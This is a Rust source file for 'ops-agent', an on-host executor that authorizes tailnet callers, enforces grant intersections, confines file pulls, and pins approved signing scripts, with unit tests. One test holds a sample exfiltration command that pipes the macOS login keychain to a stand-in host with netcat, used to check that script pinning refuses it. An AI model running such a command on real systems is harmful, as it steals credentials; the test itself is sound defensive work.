Skip to main content

max / makenotwork

26.1 KB · 725 lines History Blame Raw
1 //! `ops-agent` — the on-host half of the executor.
2 //!
3 //! One binary; behavior is set entirely by its local config (its own grant +
4 //! which caller identities may reach it). It listens **only on the tailnet
5 //! interface** and, on every request, resolves the caller via the local
6 //! Tailscale LocalAPI `whois`, maps node/tags to a caller grant, and runs the
7 //! step under the **intersection** of that grant with its own — the agent-side
8 //! half of double enforcement. A buggy or compromised daemon cannot make this
9 //! agent exceed its local grant.
10 //!
11 //! macOS deployment is an Aqua LaunchAgent (`LimitLoadToSessionType = Aqua`) so
12 //! build+sign run in the GUI security session where codesign can use the key.
13 //!
14 //! ## Trust boundary (read before touching `/run`)
15 //!
16 //! The capability model gates the *action label* (`build`/`sign`/…), not the
17 //! command bytes: a `Step` carries arbitrary `argv`/`shell_script` that the
18 //! agent runs verbatim once the label is permitted. An allow-listed caller is
19 //! therefore trusted to run **arbitrary code** on this host under any action it
20 //! is granted — the perimeter is the Tailscale `whois` allow-list plus the
21 //! tailnet-only bind (`ops-agent` refuses a non-tailnet `listen`), not the
22 //! capability token. Do not treat a narrow grant as a command sandbox. Every
23 //! request-facing route here (`/run`, `/pull`, `/health`) resolves identity and
24 //! authorizes before doing work — there is no unauthenticated surface.
25 //!
26 //! For the high-risk actuating steps that *are* fixed recipes — `sign` on the
27 //! signing-key host, `deploy` on a prod host — an optional [`ScriptPin`] narrows
28 //! the surface further: the host pins the exact `/bin/sh -c <script>` it will run
29 //! for that action, so an allow-listed-but-compromised caller can't substitute an
30 //! arbitrary script under a granted label (see [`check_script_pin`]). It's opt-in
31 //! per action; unpinned actions keep the perimeter above as their only boundary.
32
33 use crate::capability::CapabilitySet;
34 use crate::executor::Executor;
35 use crate::remote::LogSink;
36 use crate::step::{Action, ObserveKind, Step};
37 use crate::transport::LocalExec;
38 use crate::wire::{Frame, HealthResponse, PROTOCOL_VERSION, RunRequest};
39 use anyhow::{Context, Result};
40 use async_trait::async_trait;
41 use serde::Deserialize;
42 use std::net::{IpAddr, SocketAddr};
43 use std::path::{Component, Path, PathBuf};
44 use std::sync::Arc;
45
46 /// The agent's local configuration (TOML).
47 #[derive(Clone, Debug, Deserialize)]
48 pub struct AgentConfig {
49 /// Tailnet socket to bind — set this to the host's tailnet address so the
50 /// agent is never reachable off the tailnet.
51 pub listen: SocketAddr,
52 /// What this host itself is allowed to do. The ceiling for every caller.
53 #[serde(default)]
54 pub grant: GrantConfig,
55 /// Which caller identities may reach this agent, and the grant each
56 /// implies. The effective grant is `caller.caps ∩ self.grant`.
57 #[serde(default)]
58 pub allow: Vec<CallerGrant>,
59 /// Root directory `/pull` may read from. Requests are confined under this
60 /// canonicalized path; `..` and symlinks that escape it are rejected.
61 /// `None` disables `/pull` entirely (it returns 403).
62 #[serde(default)]
63 pub pull_root: Option<PathBuf>,
64 /// Approved-script pins. When a pin exists for an action, a `/run` step of
65 /// that action is refused unless it is a `/bin/sh -c <script>` shell step
66 /// whose script is in the pin's `allow` list. Actions without a pin are
67 /// unconstrained (the capability + tailnet perimeter remains the boundary).
68 /// See [`ScriptPin`].
69 #[serde(default)]
70 pub pin: Vec<ScriptPin>,
71 }
72
73 /// An approved-script pin for one action — the minimal "signed recipe" control.
74 ///
75 /// The capability model gates the action *label*, and the high-risk actuating
76 /// steps (`sign` on the signing-key host, `deploy` on a prod host) are
77 /// legitimately `/bin/sh -c <script>` recipes, so the label alone can't stop an
78 /// allow-listed-but-compromised caller from sending an *arbitrary* script under a
79 /// granted action (e.g. exfiltrating the signing key under `sign`). Pinning the
80 /// exact script(s) the host is willing to run for an action closes that residual
81 /// without a recipe-signing PKI: the operator lists the known-good script, and
82 /// any other script — or a non-shell step — for that action is refused at `/run`.
83 #[derive(Clone, Debug, Deserialize)]
84 pub struct ScriptPin {
85 /// Actuate token this pin applies to (`sign`, `deploy`, ...).
86 pub action: String,
87 /// Exact shell scripts permitted for this action.
88 #[serde(default)]
89 pub allow: Vec<String>,
90 }
91
92 /// Outcome of checking a step against the agent's script pins.
93 #[derive(Debug, PartialEq, Eq)]
94 pub enum PinDecision {
95 /// No pin configured for this action — unconstrained by pinning.
96 Unpinned,
97 /// Pinned, and the step is an approved shell script.
98 Approved,
99 /// Pinned, and the step is refused: a non-listed script, or not a shell step.
100 Refused,
101 }
102
103 /// Check a step against the agent's script pins (pure; unit-testable).
104 ///
105 /// `Observe` actions are never pinned (read-only). For a pinned actuate action
106 /// the step must be a `/bin/sh -c <script>` shell step whose script is listed in
107 /// the pin's `allow`; anything else (a different script, or a literal-`argv`
108 /// step) is [`PinDecision::Refused`].
109 pub fn check_script_pin(config: &AgentConfig, step: &Step) -> PinDecision {
110 let Some(token) = step.action.token() else {
111 return PinDecision::Unpinned;
112 };
113 let Some(pin) = config.pin.iter().find(|p| p.action == token) else {
114 return PinDecision::Unpinned;
115 };
116 match step.shell_script() {
117 Some(script) if pin.allow.iter().any(|s| s == script) => PinDecision::Approved,
118 _ => PinDecision::Refused,
119 }
120 }
121
122 /// Grant tokens as they appear in config: `actuate = [...]`, `observe = [...]`.
123 #[derive(Clone, Debug, Default, Deserialize)]
124 pub struct GrantConfig {
125 #[serde(default)]
126 pub actuate: Vec<String>,
127 #[serde(default)]
128 pub observe: Vec<String>,
129 }
130
131 impl GrantConfig {
132 pub fn to_caps(&self) -> CapabilitySet {
133 CapabilitySet::from_tokens(&self.actuate, &self.observe)
134 }
135 }
136
137 /// One allowed caller: a tailnet identity (a node name like `fw13` or a tag
138 /// like `tag:prod`) and the grant it implies.
139 #[derive(Clone, Debug, Deserialize)]
140 pub struct CallerGrant {
141 pub identity: String,
142 #[serde(default)]
143 pub actuate: Vec<String>,
144 #[serde(default)]
145 pub observe: Vec<String>,
146 }
147
148 impl CallerGrant {
149 fn to_caps(&self) -> CapabilitySet {
150 CapabilitySet::from_tokens(&self.actuate, &self.observe)
151 }
152 }
153
154 /// A resolved caller identity from `whois`: the peer's node name and its tags.
155 #[derive(Clone, Debug, PartialEq, Eq)]
156 pub struct CallerIdentity {
157 pub node: String,
158 pub tags: Vec<String>,
159 }
160
161 impl CallerIdentity {
162 /// Does this identity match a config `identity` string (a node name or a
163 /// `tag:...`)?
164 fn matches(&self, identity: &str) -> bool {
165 self.node == identity || self.tags.iter().any(|t| t == identity)
166 }
167 }
168
169 /// The outcome of authorizing a caller for an action.
170 #[derive(Debug, PartialEq, Eq)]
171 pub enum AuthDecision {
172 /// Permitted; carries the effective (intersected) grant.
173 Allow,
174 /// The caller's identity is not in this agent's allow-list.
175 UnknownCaller,
176 /// Known caller, but the action is outside the effective grant.
177 Denied,
178 }
179
180 /// The effective grant for a caller: `caller_grant ∩ agent_grant`, or `None` if
181 /// the caller is not in this agent's allow-list. The single source of truth for
182 /// what an authenticated caller may do — every route authorizes against it.
183 fn effective_grant(config: &AgentConfig, caller: &CallerIdentity) -> Option<CapabilitySet> {
184 config
185 .allow
186 .iter()
187 .find(|c| caller.matches(&c.identity))
188 .map(|entry| entry.to_caps().intersect(&config.grant.to_caps()))
189 }
190
191 /// Pure authorization core — no IO, fully unit-testable. The effective grant is
192 /// `caller_grant ∩ agent_grant`; the action must be permitted by it.
193 pub fn authorize(config: &AgentConfig, caller: &CallerIdentity, action: &Action) -> AuthDecision {
194 match effective_grant(config, caller) {
195 None => AuthDecision::UnknownCaller,
196 Some(effective) if effective.permits(action) => AuthDecision::Allow,
197 Some(_) => AuthDecision::Denied,
198 }
199 }
200
201 /// Resolve a peer IP to a tailnet identity by shelling `tailscale whois
202 /// --json`. Works identically under Headscale (it serves the same client CLI).
203 /// Runtime-only — not exercised by unit tests (no live tailnet in CI).
204 pub async fn tailscale_whois(peer: IpAddr) -> Result<CallerIdentity> {
205 let out = tokio::process::Command::new("tailscale")
206 .args(["whois", "--json", &peer.to_string()])
207 .output()
208 .await
209 .context("spawning `tailscale whois`")?;
210 anyhow::ensure!(
211 out.status.success(),
212 "tailscale whois {peer} failed: {}",
213 String::from_utf8_lossy(&out.stderr)
214 );
215 #[derive(Deserialize)]
216 struct Whois {
217 #[serde(rename = "Node")]
218 node: WhoisNode,
219 }
220 #[derive(Deserialize)]
221 struct WhoisNode {
222 #[serde(rename = "Name", default)]
223 name: String,
224 #[serde(rename = "Tags", default)]
225 tags: Vec<String>,
226 }
227 let parsed: Whois = serde_json::from_slice(&out.stdout).context("parsing whois json")?;
228 // `Name` is the MagicDNS FQDN (e.g. `fw13.tailnet.ts.net.`); reduce to the
229 // bare hostname so config can say `fw13`.
230 let node = parsed
231 .node
232 .name
233 .trim_end_matches('.')
234 .split('.')
235 .next()
236 .unwrap_or("")
237 .to_string();
238 Ok(CallerIdentity {
239 node,
240 tags: parsed.node.tags,
241 })
242 }
243
244 // ---------------------------------------------------------------------------
245 // HTTP layer (axum). Kept thin: it resolves identity, authorizes, and runs the
246 // step locally via `LocalExec`, streaming NDJSON frames back.
247 // ---------------------------------------------------------------------------
248
249 /// A resolver mapping a peer address to its tailnet identity. Boxed so tests
250 /// can inject a stub instead of shelling out to `tailscale`.
251 pub type WhoisResolver = Arc<
252 dyn Fn(IpAddr) -> futures_util::future::BoxFuture<'static, Result<CallerIdentity>>
253 + Send
254 + Sync,
255 >;
256
257 /// Shared server state.
258 #[derive(Clone)]
259 pub struct AgentState {
260 pub config: Arc<AgentConfig>,
261 pub whois: WhoisResolver,
262 }
263
264 impl AgentState {
265 /// Build state with the real `tailscale whois` resolver.
266 pub fn new(config: AgentConfig) -> Self {
267 Self {
268 config: Arc::new(config),
269 whois: Arc::new(|ip| Box::pin(tailscale_whois(ip))),
270 }
271 }
272 }
273
274 /// A [`LogSink`] that forwards each chunk as an NDJSON [`Frame::Chunk`] line
275 /// into the response body channel.
276 struct ChannelSink {
277 tx: tokio::sync::mpsc::Sender<Result<axum::body::Bytes, std::io::Error>>,
278 }
279
280 #[async_trait]
281 impl LogSink for ChannelSink {
282 async fn write_chunk(&mut self, bytes: &[u8]) {
283 let text = String::from_utf8_lossy(bytes).into_owned();
284 let line = Frame::Chunk { text }.to_line();
285 let _ = self.tx.send(Ok(axum::body::Bytes::from(line))).await;
286 }
287 }
288
289 /// Build the axum router. Serve it with
290 /// `.into_make_service_with_connect_info::<SocketAddr>()` so handlers see the
291 /// peer address. Every route resolves the caller's tailnet identity and
292 /// authorizes before doing work — there is no unauthenticated surface.
293 pub fn router(state: AgentState) -> axum::Router {
294 use axum::routing::{get, post};
295 axum::Router::new()
296 .route("/health", get(health))
297 .route("/run", post(run))
298 .route("/pull", get(pull))
299 .with_state(state)
300 // A RunRequest is a single Step (argv + optional shell script); cap the
301 // body so a malformed/oversized POST can't buffer freely.
302 .layer(axum::extract::DefaultBodyLimit::max(1024 * 1024))
303 }
304
305 /// Resolve the caller's tailnet identity and effective grant, or an early
306 /// 403 response. The single gate every route passes through: a `whois` failure
307 /// or an unknown caller never reaches handler logic.
308 async fn resolve_caller(
309 state: &AgentState,
310 peer: IpAddr,
311 ) -> Result<(CallerIdentity, CapabilitySet), axum::response::Response> {
312 use axum::http::StatusCode;
313 use axum::response::IntoResponse;
314 let identity = (state.whois)(peer)
315 .await
316 .map_err(|e| (StatusCode::FORBIDDEN, format!("whois failed: {e}")).into_response())?;
317 let effective = effective_grant(&state.config, &identity).ok_or_else(|| {
318 (
319 StatusCode::FORBIDDEN,
320 format!("unknown caller: {}", identity.node),
321 )
322 .into_response()
323 })?;
324 Ok((identity, effective))
325 }
326
327 async fn health(
328 axum::extract::State(state): axum::extract::State<AgentState>,
329 axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
330 ) -> axum::response::Response {
331 use axum::response::IntoResponse;
332 // Liveness is observable to any caller, but the grant detail (what this host
333 // can do) is only disclosed to an authenticated, allow-listed caller — an
334 // unknown peer learns the agent is up, nothing more.
335 let (actuate, observe) = match resolve_caller(&state, peer.ip()).await {
336 Ok((_, effective)) => (
337 effective.actuate_tokens().map(String::from).collect(),
338 effective.observe_kinds().map(|k| k.token()).collect(),
339 ),
340 Err(_) => (Vec::new(), Vec::new()),
341 };
342 axum::Json(HealthResponse {
343 ok: true,
344 version: PROTOCOL_VERSION,
345 actuate,
346 observe,
347 })
348 .into_response()
349 }
350
351 async fn run(
352 axum::extract::State(state): axum::extract::State<AgentState>,
353 axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
354 axum::Json(req): axum::Json<RunRequest>,
355 ) -> axum::response::Response {
356 use axum::http::StatusCode;
357 use axum::response::IntoResponse;
358
359 // Identity → authorization (agent-side enforcement). Note: this authorizes
360 // the action *label*; the step's argv runs verbatim once permitted (see the
361 // trust-boundary note at the top of this module).
362 let (identity, effective) = match resolve_caller(&state, peer.ip()).await {
363 Ok(pair) => pair,
364 Err(resp) => return resp,
365 };
366 if !effective.permits(&req.step.action) {
367 return (
368 StatusCode::FORBIDDEN,
369 format!(
370 "action `{:?}` denied for {}",
371 req.step.action, identity.node
372 ),
373 )
374 .into_response();
375 }
376
377 // Script pin (minimal signed-recipe control): when this host pins an
378 // action's script, only the approved script runs — so a granted-but-arbitrary
379 // command (e.g. an exfiltration script under the `sign` grant) is refused
380 // even though the action label is permitted. Unpinned actions are unaffected.
381 if check_script_pin(&state.config, &req.step) == PinDecision::Refused {
382 return (
383 StatusCode::FORBIDDEN,
384 format!(
385 "script pin: step for action `{:?}` is not an approved script on {}",
386 req.step.action, identity.node
387 ),
388 )
389 .into_response();
390 }
391
392 // Run locally under the effective grant, streaming NDJSON frames back.
393 let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(64);
394 tokio::spawn(async move {
395 let exec = LocalExec::new(effective);
396 let mut sink = ChannelSink { tx: tx.clone() };
397 let terminal = match exec.run_streaming(&req.step, &mut sink).await {
398 Ok(out) => Frame::Exit {
399 code: out.status.code().unwrap_or(-1),
400 },
401 Err(e) => Frame::Error {
402 message: format!("{e:#}"),
403 },
404 };
405 let _ = tx
406 .send(Ok(axum::body::Bytes::from(terminal.to_line())))
407 .await;
408 });
409
410 let stream = tokio_stream::wrappers::ReceiverStream::new(rx);
411 axum::body::Body::from_stream(stream).into_response()
412 }
413
414 #[derive(Deserialize)]
415 struct PullQuery {
416 path: PathBuf,
417 }
418
419 /// Confine `requested` to `root`: both are canonicalized (resolving `..` and
420 /// symlinks), and the result must lie under `root`. Returns `None` on any
421 /// escape or if the path does not resolve (caller maps that to 403/404).
422 fn confine_to_root(root: &Path, requested: &Path) -> Option<PathBuf> {
423 // Reject obviously-hostile shapes before hitting the filesystem.
424 if requested
425 .components()
426 .any(|c| matches!(c, Component::ParentDir))
427 {
428 return None;
429 }
430 let canon_root = root.canonicalize().ok()?;
431 let canon = requested.canonicalize().ok()?;
432 canon.starts_with(&canon_root).then_some(canon)
433 }
434
435 async fn pull(
436 axum::extract::State(state): axum::extract::State<AgentState>,
437 axum::extract::ConnectInfo(peer): axum::extract::ConnectInfo<SocketAddr>,
438 axum::extract::Query(q): axum::extract::Query<PullQuery>,
439 ) -> axum::response::Response {
440 use axum::http::StatusCode;
441 use axum::response::IntoResponse;
442
443 // Identity → authorization. Retrieving an artifact is an observe-plane
444 // action with its own grant: `artifact` covers reads under `pull_root`,
445 // which is a different thing to want than a build's log output.
446 let (_identity, effective) = match resolve_caller(&state, peer.ip()).await {
447 Ok(pair) => pair,
448 Err(resp) => return resp,
449 };
450 if !effective.permits_observe(&ObserveKind::Artifact) {
451 return (
452 StatusCode::FORBIDDEN,
453 "pull denied: requires `artifact` observe grant",
454 )
455 .into_response();
456 }
457
458 // Confine to the configured artifacts root. No root configured ⇒ disabled.
459 let Some(root) = &state.config.pull_root else {
460 return (
461 StatusCode::FORBIDDEN,
462 "pull disabled: no pull_root configured",
463 )
464 .into_response();
465 };
466 let Some(path) = confine_to_root(root, &q.path) else {
467 return (
468 StatusCode::NOT_FOUND,
469 format!("pull {}: not found under pull_root", q.path.display()),
470 )
471 .into_response();
472 };
473
474 // Stream the file in chunks rather than buffering it whole (artifacts can be
475 // hundreds of MB) — same channel/Body pattern as `/run`.
476 let file = match tokio::fs::File::open(&path).await {
477 Ok(f) => f,
478 Err(e) => {
479 return (
480 StatusCode::NOT_FOUND,
481 format!("pull {}: {e}", path.display()),
482 )
483 .into_response();
484 }
485 };
486 let (tx, rx) = tokio::sync::mpsc::channel::<Result<axum::body::Bytes, std::io::Error>>(8);
487 tokio::spawn(async move {
488 use tokio::io::AsyncReadExt;
489 let mut file = file;
490 let mut buf = vec![0u8; 64 * 1024];
491 loop {
492 match file.read(&mut buf).await {
493 Ok(0) => break,
494 Ok(n) => {
495 if tx
496 .send(Ok(axum::body::Bytes::copy_from_slice(&buf[..n])))
497 .await
498 .is_err()
499 {
500 break;
501 }
502 }
503 Err(e) => {
504 let _ = tx.send(Err(e)).await;
505 break;
506 }
507 }
508 }
509 });
510 let stream = tokio_stream::wrappers::ReceiverStream::new(rx);
511 axum::body::Body::from_stream(stream).into_response()
512 }
513
514 #[cfg(test)]
515 mod tests {
516 use super::*;
517
518 fn cfg() -> AgentConfig {
519 AgentConfig {
520 listen: "127.0.0.1:0".parse().unwrap(),
521 // This host (mbp-like) may build/sign/notarize/staple.
522 grant: GrantConfig {
523 actuate: vec![
524 "build".into(),
525 "sign".into(),
526 "notarize".into(),
527 "staple".into(),
528 ],
529 observe: vec!["build-log".into()],
530 },
531 allow: vec![CallerGrant {
532 identity: "fw13".into(),
533 actuate: vec![
534 "build".into(),
535 "sign".into(),
536 "notarize".into(),
537 "staple".into(),
538 ],
539 observe: vec!["build-log".into()],
540 }],
541 pull_root: None,
542 pin: Vec::new(),
543 }
544 }
545
546 fn fw13() -> CallerIdentity {
547 CallerIdentity {
548 node: "fw13".into(),
549 tags: vec![],
550 }
551 }
552
553 #[test]
554 fn known_caller_granted_action_is_allowed() {
555 assert_eq!(
556 authorize(&cfg(), &fw13(), &Action::Sign),
557 AuthDecision::Allow
558 );
559 }
560
561 #[test]
562 fn unknown_caller_is_rejected() {
563 let stranger = CallerIdentity {
564 node: "laptop-x".into(),
565 tags: vec![],
566 };
567 assert_eq!(
568 authorize(&cfg(), &stranger, &Action::Sign),
569 AuthDecision::UnknownCaller
570 );
571 }
572
573 #[test]
574 fn action_outside_agent_grant_is_denied_even_if_caller_asks() {
575 // Caller is granted only what config lists; deploy is not in either set.
576 assert_eq!(
577 authorize(&cfg(), &fw13(), &Action::Deploy),
578 AuthDecision::Denied
579 );
580 }
581
582 #[test]
583 fn intersection_floors_a_too_broad_caller() {
584 // A caller granted `deploy` but the agent host only grants build/sign:
585 // deploy must be denied (agent grant is the ceiling).
586 let mut c = cfg();
587 c.allow[0].actuate.push("deploy".into());
588 assert_eq!(
589 authorize(&c, &fw13(), &Action::Deploy),
590 AuthDecision::Denied
591 );
592 assert_eq!(authorize(&c, &fw13(), &Action::Sign), AuthDecision::Allow);
593 }
594
595 #[test]
596 fn tag_identity_matches() {
597 let mut c = cfg();
598 c.allow[0].identity = "tag:builder".into();
599 let tagged = CallerIdentity {
600 node: "whatever".into(),
601 tags: vec!["tag:builder".into()],
602 };
603 assert_eq!(authorize(&c, &tagged, &Action::Sign), AuthDecision::Allow);
604 }
605
606 #[test]
607 fn pull_requires_a_known_caller_with_artifact_observe() {
608 // An unknown caller has no effective grant at all.
609 let stranger = CallerIdentity {
610 node: "stranger".into(),
611 tags: vec![],
612 };
613 assert!(effective_grant(&cfg(), &stranger).is_none());
614
615 // A known caller granted only actuate (no observe) cannot pull.
616 let mut c = cfg();
617 c.allow[0].observe = vec![];
618 c.grant.observe = vec![];
619 let eff = effective_grant(&c, &fw13()).unwrap();
620 assert!(
621 !eff.permits_observe(&ObserveKind::Artifact),
622 "no observe grant ⇒ pull denied"
623 );
624
625 // `build-log` alone does not open /pull — the two grants are independent.
626 let eff = effective_grant(&cfg(), &fw13()).unwrap();
627 assert!(eff.permits_observe(&ObserveKind::BuildLog));
628 assert!(
629 !eff.permits_observe(&ObserveKind::Artifact),
630 "build-log ⇏ artifact"
631 );
632
633 // Granting `artifact` on both sides ⇒ pull permitted.
634 let mut c = cfg();
635 c.allow[0].observe.push("artifact".into());
636 c.grant.observe.push("artifact".into());
637 let eff = effective_grant(&c, &fw13()).unwrap();
638 assert!(eff.permits_observe(&ObserveKind::Artifact));
639 }
640
641 fn sign_release_script() -> &'static str {
642 ". /etc/bento/secrets.env && ./dist/release-macos.sh --keychain"
643 }
644
645 fn cfg_with_sign_pin() -> AgentConfig {
646 let mut c = cfg();
647 c.pin = vec![ScriptPin {
648 action: "sign".into(),
649 allow: vec![sign_release_script().into()],
650 }];
651 c
652 }
653
654 #[test]
655 fn unpinned_action_is_unconstrained() {
656 // No pins configured: any sign shell step passes the pin check.
657 let step = Step::shell(Action::Sign, "do whatever");
658 assert_eq!(check_script_pin(&cfg(), &step), PinDecision::Unpinned);
659 }
660
661 #[test]
662 fn pinned_action_allows_the_approved_script() {
663 let step = Step::shell(Action::Sign, sign_release_script());
664 assert_eq!(
665 check_script_pin(&cfg_with_sign_pin(), &step),
666 PinDecision::Approved
667 );
668 }
669
670 #[test]
671 fn pinned_action_refuses_a_different_script() {
672 // The exfiltration case: granted `sign`, but the script isn't the pinned one.
673 let evil = Step::shell(
674 Action::Sign,
675 "cat ~/Library/Keychains/login.keychain | nc evil 9999",
676 );
677 assert_eq!(
678 check_script_pin(&cfg_with_sign_pin(), &evil),
679 PinDecision::Refused
680 );
681 }
682
683 #[test]
684 fn pinned_action_refuses_a_non_shell_step() {
685 // A literal-argv step can't be a pinned recipe; refuse it.
686 let step = Step::new(
687 Action::Sign,
688 ["codesign", "--force", "/Applications/Evil.app"],
689 );
690 assert_eq!(
691 check_script_pin(&cfg_with_sign_pin(), &step),
692 PinDecision::Refused
693 );
694 }
695
696 #[test]
697 fn pin_on_one_action_does_not_affect_another() {
698 // A `sign` pin leaves `build` steps unconstrained.
699 let build = Step::shell(Action::Build, "set -e; cargo build --release");
700 assert_eq!(
701 check_script_pin(&cfg_with_sign_pin(), &build),
702 PinDecision::Unpinned
703 );
704 }
705
706 #[test]
707 fn confine_rejects_traversal_and_escape() {
708 let dir = tempfile::tempdir().unwrap();
709 let root = dir.path().join("artifacts");
710 std::fs::create_dir_all(&root).unwrap();
711 std::fs::write(root.join("ok.bin"), b"x").unwrap();
712 // A secret one level above the root.
713 std::fs::write(dir.path().join("secret"), b"s").unwrap();
714
715 // In-root file resolves.
716 assert!(confine_to_root(&root, &root.join("ok.bin")).is_some());
717 // `..` escape is rejected.
718 assert!(confine_to_root(&root, &root.join("../secret")).is_none());
719 // Absolute path outside the root is rejected.
720 assert!(confine_to_root(&root, &dir.path().join("secret")).is_none());
721 // A non-existent in-root path does not resolve (caller maps to 404).
722 assert!(confine_to_root(&root, &root.join("missing")).is_none());
723 }
724 }
725